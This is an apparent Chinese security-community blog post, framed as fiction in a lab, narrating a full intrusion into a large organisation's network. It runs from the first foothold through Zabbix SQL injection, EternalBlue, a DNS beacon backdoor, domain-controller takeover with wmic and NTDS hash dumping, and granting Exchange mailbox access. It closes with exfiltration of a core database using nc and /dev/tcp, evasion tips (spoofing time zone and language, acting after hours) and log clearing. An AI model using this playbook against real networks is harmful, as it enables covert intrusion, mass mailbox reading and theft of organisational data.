潜伏+亮剑-大型内网渗透的实战

  • A+
所属分类:安全文章

本文纯属癔构,如有雷同纯属巧合

原文首发于 2019/1/15 

地址:https://www.secquan.org/Discuss/1068674

#楔子

大型内网的渗透往往伴随着一系列的联动,包括侦查意识,挖洞能力甚至憋尿能力。更多的时候比拼的是意志力,而不是技术的高低。不必畏惧技术能力不足,只要有逢敌必亮剑的决心,就没有拿不下的目标。

潜伏忍受,一击致命,这就是内网渗透的真实写照。

        

潜伏+亮剑-大型内网渗透的实战

前言#

     很多年没有在技术坛子上发表技术文章了,正好闲来有空,来浅谈一下内网渗透的相关经验,跟各位圈子社区里面的朋友分享一下。可能文字比较多,会有点枯燥,见谅!

    在大型内网中,信息收集是非常重要的一点,首先要把人员架构部门搞清楚。下面我们用大佬计划靶场中的域内渗透课程环境,联合模拟出一个大型内网环境。

潜伏+亮剑-大型内网渗透的实战

我们的最终目标是两个,一个是内网中的核心数据,第二个是邮箱系统!#

这个模拟的我们就称之为A国吧,是做梦时候梦到的一个场景!

小贴士:

在前期准备工作中,如果对目标国进行渗透测试,或者该目标与我们处在不同时区的,建议改成当地时间,游览器的Accept-Language也改成当地的语言!

从细节入手,养成良好的渗透习惯,这样可以防止不必要的麻烦。

言归正传#

现在我们已经撕下一个外网口子(简称跳板A),内网地址为192.168.255.2,抓取到相关的密码(后台管理员密码#pass1,数据库密码#pass2)


潜伏+亮剑-大型内网渗透的实战

内网情况1#

linux机器可以通外网,查询ifconfig -all 发现网关地址为192.168.255.1,接下来我们在执行netstat -an 发现有几台其他内网子段的机器连接此台机器

其中有zabbix(192.168.188.2),下面有个管理员连接了跳板A的ssh(172.16.4.2),还有一个数据库服务器(192.168.244.2)

另外收集passwd信息,发现有三个用户是有bash的权限,(root,support,ts) ,输入W,发现当前管理员在线并管理此网站。

输入last ,发现管理员经常登录,登录的子网段为172.16.4.0/24会经常换IP

涉及命令可以记录下,在内网中非常常用。

到此第一层内网信息大概摸索清楚,首先发现管理员是比较勤奋的,而且管理员的PC段是DHCP分配ip,会经常上服务器

由此判断此台服务器也是比较重要的

(ps:在大型内网中,如果一台服务器经常受到管理员重视,说明服务器挺重要,
并且管理员应该是比较重要的管理员,因其他服务器如果不那么重要,管理员是不会那么经常登录的)

初步判定#

因此我判断此台服务器可能有流量监控并且有ips。

在当前web权限下是可以架设一个SS代理出来,所以为了不惊动ips就不做提权等敏感操作,首先我决定去探测内网,拿到第二个跳板。

第二个跳板#

第一点我想到的是zabbix,因为zabbix是直接和运维接触的是很重要的一台机器,并且在前面两年就出过几个漏洞

但是zabbix一般都在内网所以有漏洞的可能性非常大,我们用ew挂上代理上192.168.188.2:10051/zabbix可以发现是存在注入漏洞的,利用注入漏洞成功拿到帐号密码(#pass3)

登录到zabbix发现内网基本有三个大的内网段(10.10.0.0/16,192.168.0.0/16,172.16.0.0/16)
并且有多达50多个不同的项目系统子段。

发现几个比较重要的几个子段,邮箱子段 172.16.2.0/24,核心业务系统web段192.168.10.0/24,核心数据库段192.168.11.0/24,因为工作网段是用zabbix监控的所以里面看不到。

潜伏+亮剑-大型内网渗透的实战

(图文无关)

利用zabbix获取到的信息,进而找到一个不是特别重要的子段

暂且叫这个子段叫多服务器联动段吧#

里面放着一些杂七杂八的系统,找到一个会议系统(192.168.33.3),iis的服务器

为什么要找windows的呢,因为想方便作为跳板机从而对域内机器进行域渗透,通过web找到这套web程序(开源),挖了一个0day直接拿到权限。

在长期渗透中,无非是遇山开山,遇水架桥;碰到搞不定的系统就想法拿到源码来审计,0day并不神奇,挖就肯定会有。姑且叫杀伤链,供应链吧

没有这个耐心和决心的人,往往很难在这个领域内有所作为。

拿到webshell之后首先看看管理员在不在线上,query user ,发现管理员没有注销,但是连接记录显示60多天没登录了,说明这台机器基本上没人管。

我们在内网渗透中,第一步肯定是潜伏,找到一个避风的港湾。

第一,最好能直接出网;第二,半废弃状态。第三,处于DMZ边缘。

注意这个判定,也很常用。

那就提权拿到这台windows机器,拿到权限之后rdp连接进去,发现是不通外网的,但是DNS是通的,上面也没有杀毒软件,那么就用cs做一个dns长久的通道(shellcode),防止跳板A权限丢失!

潜伏+亮剑-大型内网渗透的实战

(图文无关)

域内漫游#

拿到权限之后审查日志,发现管理员自从安装了系统之后就再也没用过这台机器了,ipconfig /all 也不在域内,netstat -an 也没有多少内网连接,那么这台机器可以做一个完美的跳板机器

我们就用这台跳板机器做为内网渗透的起点吧,称他为跳板B。#

因为这台机器不在域内,所以我们想办法先搞一台域内机器做域渗透,我们直接上传MS17010的探测程序执行ms.exe -n 172.16.2.0/24 来看看有没有漏洞

发现了一台windows 2008(172.16.2.55)的机器,直接用FB的永恒之蓝脚本去打,成功拿到cmdshell

其中有一些细节要注意,我用的dll是自己写的正向DLL,具体可以google下#

让对方机器在8080端口上面开一个cmdshell,这样是为了防止杀软杀了我们的dll,#

第二个也是比较好的隐藏手段!#

还是老规矩看看有没有管理员在上面,发现并没有,直接开启GUEST帐号加管理员组连接进去,直接ipconfig /all,可以看到域了,域为A.COM,直接一套命令打过去

net group "domain admins" /domain

net group "domain controllers" /domain

net group "domain computers" /domain

net user /domain

域机器,用户有个上千,管理员有10多个,域控两个(172.16.2.1,172.16.2.2) #

直接用抓密码(getpass_x64)的抓当前密码 可以发现有个域内用户(#pass4),

潜伏+亮剑-大型内网渗透的实战
(图文无关)

但并不是域管 !#

根据以往的经验这种服务器不是域管也很正常,这个时候就出现一个问题,没有域管也就拿不到域控

拿不到域控就登不上邮箱,但是我们现在控制的这台域内机器

我们可以用这台机器做IPC爆破(tips 跳板B也可以做IPC$的爆破因为有了域控也有了域内信息)。

这台域内机器基本上让我们知道了域的几个子段和一些PC机器的子段

(可以根据机器名判断出来 绝大部分的工作机都是PC-xxxx等名称,server都是正常命名)

等各种域内信息,让我们为接下来的渗透可以做好准备

潜伏+亮剑-大型内网渗透的实战

(图文无关)

横向深入#

现在利用IPC爆破域管的密码,将几个密码准备好(#pass1,#pass2,#pass3,#pass4等等),

经过bat脚本跑了一边就发现#pass1确实是个非常重要的密码,正好是域管(简称adminx)的密码,这可以说明信息收集确实功不可没啊

潜伏+亮剑-大型内网渗透的实战

(图文无关)

利用adminx的密码跟DC服务器建立IPC通道,上传BAT,在DC上用wmic 执行命令


wmic /node:172.16.2.1 /user:"a.com\adminx" /password:"#pass1" process call create C:ProgramDatacmd.bat

进行一系列的仔细观察发现管理员的登录时间点,其实dc机器域管也不是经常登录,找了一个下班时间段,偷偷登录上去

潜伏+亮剑-大型内网渗透的实战

因为域控服务器是windows 2012 所以就不修改相关注册表重启抓密码了(动静巨大)#

利用ShadowCopy+QuarksPwDump0.3a抓hash,看了一下参考文章是有问题,抓密码还需要一个key值,直接用getsyskey获取key这样就可以还原出hash了

具体步骤

1 .dist.bat

2 .esentutl /p /o ntds.dit

3 .QuarksPwDump.exe -dhd -hist -nt ntds.dit -sk syskey -o log.txt

收网#

拿到域管的hash之后就可以破解hash了,一般推荐cmd5和objectif-securite在线破解

拿到域管帐号就可以登录mail服务器,同样我建议可以在mail服务器上直接种个webshell方便操作,

直接执行

Get-Mailbox -ResultSize Unlimited | Out-File c:\programdata\z3.txt * 获取所有用户信息

对比用户信息发现只有adminx在mail里面注册了,进入exchang的ecp控制台可以看到权限很高,但并不能直接看其他用户信息可以用EX PS 直接赋予权限

PowerShell.exe -PSConsoleFile "C:\Program Files\Microsoft\Exchange Server\V15\Bin\exshell.psc1" -Command ". Add-MailboxPermission -Identity userx -User adminx -AccessRights FullAccess -InheritanceType All"

我比较习惯在web上看邮件,搜索也非常方便,进入到邮件里面查看各个信息

发现有个工作台的web,类似OA,直接通过邮件里面收集到的密码登录进入,发现A公司的架构非常巨大,通过筛选排查发现主要一个大部门非常重要,其中3个小部门是重点关注的

1,服务器备份管理部门

2,dba管理部门

3,后台开发人员

该oa系统非常人性化,部门人员也划分的非常详细,对三个部门的人员进行归档整理,从而进入邮箱进行邮件查看一些敏感信息

后面就是一长串的信息收集过程了,时间非常漫长,主要针对的目标就是核心数据库了

收集了信息之后,发现会有ssh的登录监控(针对核心boss系统的),也会有对安全方面的指示,密码是用keypass随机加密的,

之后发现他们每一段时间会有一次技术测试,会在核心系统上做系统测试,另外support帐号会监控系统安全性,所以针对这一点

可以搜索相关字眼比如 ssh,support,192.168.10,192.168.11,password,ts这类

ex服务器搜索功能可以说非常强大是可以搜索附件内容的,不过A公司对附件传输非常严谨会要求加密码

我们可以利用Advanced Archive Password Recovery
工具来破解文档密码

之后我发现了服务器备份部门的一些敏感信息包括组织架构图,拓谱图.

发现核心机器基本上做了隔离处理

只有一个跳板机,幸运的是成功看到一个xlsx的文档中记录了ts的密码。

在惊喜之中考虑了一点ssh是有登录监控的,但是了解了A公司的作息时间就准备等他们下班进行数据拷贝,

在对文档的分析中发现是有备份服务器在核心段,在密码表里面正好这台机器也在控制范围类,根据监控数据表,每周备份下来的一个数据将近500G,这个时候就考验我们的脱X水准了。

潜伏+亮剑-大型内网渗透的实战

结尾#

等到老哥下班之后,登录到当前的备份服务器中,发现了/backup/目录下的数据,先打包压缩成tar.gz格式

并利用
split -b 20G data.db 将db切割成25份

在跳板B上执行 nc -l -vv -p 8083 > data.rar

服务器上执行cat db > /dev/tcp/192.168.33.3/8083

之后就再将数据移出隔离段进行二次传输到跳板A,直接放在跳板B上的web服务器上。

在跳板A上执行curl [http://192.168.33.3/db.rar

这样就成功出内网了,注意手法。#

注意一个细节,通常web应用服务器磁盘都不够大的所以我们就一个一个进行传输可以同步进行

我们在传输之前一定要把线路都想好才行!不然容易功亏一篑,并且要保证好稳定性。#

先前准备好的外网下载服务器我们直接用alex多线程下载,[推荐alex]


(http://192.168.33.3/db.rar,%E6%B3%A8%E6%84%8F%E4%B8%80%E4%B8%AA%E7%BB%86%E8%8A%82%EF%BC%8C%E9%80%9A%E5%B8%B8web%E5%BA%94%E7%94%A8%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%A3%81%E7%9B%98%E9%83%BD%E4%B8%8D%E5%A4%9F%E5%A4%A7%E7%9A%84%E6%89%80%E4%BB%A5%E6%88%91%E4%BB%AC%E5%B0%B1%E4%B8%80%E4%B8%AA%E4%B8%80%E4%B8%AA%E8%BF%9B%E8%A1%8C%E4%BC%A0%E8%BE%93%E5%8F%AF%E4%BB%A5%E5%90%8C%E6%AD%A5%E8%BF%9B%E8%A1%8C%EF%BC%8C%E6%88%91%E4%BB%AC%E5%9C%A8%E4%BC%A0%E8%BE%93%E4%B9%8B%E5%89%8D%E4%B8%80%E5%AE%9A%E8%A6%81%E6%8A%8A%E7%BA%BF%E8%B7%AF%E9%83%BD%E6%83%B3%E5%A5%BD%E6%89%8D%E8%A1%8C%EF%BC%81%E4%B8%8D%E7%84%B6%E5%AE%B9%E6%98%93%E5%8A%9F%E4%BA%8F%E4%B8%80%E7%AF%91%EF%BC%8C%E5%B9%B6%E4%B8%94%E8%A6%81%E4%BF%9D%E8%AF%81%E5%A5%BD%E7%A8%B3%E5%AE%9A%E6%80%A7%E3%80%82%E5%85%88%E5%89%8D%E5%87%86%E5%A4%87%E5%A5%BD%E7%9A%84%E5%A4%96%E7%BD%91%E4%B8%8B%E8%BD%BD%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%88%91%E4%BB%AC%E7%9B%B4%E6%8E%A5%E7%94%A8alex%E5%A4%9A%E7%BA%BF%E7%A8%8B%E4%B8%8B%E8%BD%BD%EF%BC%8Calex) -n <http://192.168.255.2/db.rar>

之后就是清理日志等擦屁股的过程了这些都是常态的过程

结语:#

内网渗透其实考验的是安全人员的基础功底和对信息收集的功底,安全人员需要了解的东西非常多

组织架构

各类数据库

windows基础,linux基础,web基础,设备基础

这些都要掌握,并且还要去了解目标情况,公司情况,作息时间各种各种的相关情况#

所以说请保护好所有搞内网的同志,搞不好有一天就嗝屁了~

文章没有多少技术水准,但每一个字眼都重点强调了信息收集的重要性#

并且要保证自己不被发现,作为我自己很少用msf的原因就是怕泄露一些信息,所以我基本上的操作都是信任机制为主,手工操作。#

参考资料:#

ew代理:http://rootkiter.com/EarthWorm/

抓系统密码(getpass):https://blog.csdn.net/zzzjx7/article/details/52542326

cs dns通道后门:https://cobaltstrike.com/help-dns-beacon https://www.freebuf.com/sectool/127125.html

抓域内用户密码:https://blog.csdn.net/cao2110/article/details/51830975

getsyskey:https://www.secpulse.com/archives/6301.html

ex ps :https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps

aopr破解工具:https://www.elcomsoft.com/aopr.html

Linux命令行下使用Axel多线程下载:https://blog.csdn.net/qq_24489717/article/details/52513698




关于圈子社区
圈子社区是一个非盈利,封闭的白帽子技术交流社区。目前成员已有近2000人,拥有业内首个自主研发的实战化靶场,体系化学习和燃爆的交流气氛带你成为真正的大佬,社区专注实战,崇尚技术,如果你也是实战派,请关注我们。
社区地址:(请使用https访问)
https://www.secquan.org

潜伏+亮剑-大型内网渗透的实战


本文始发于微信公众号(Secquan圈子社区):潜伏+亮剑-大型内网渗透的实战

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: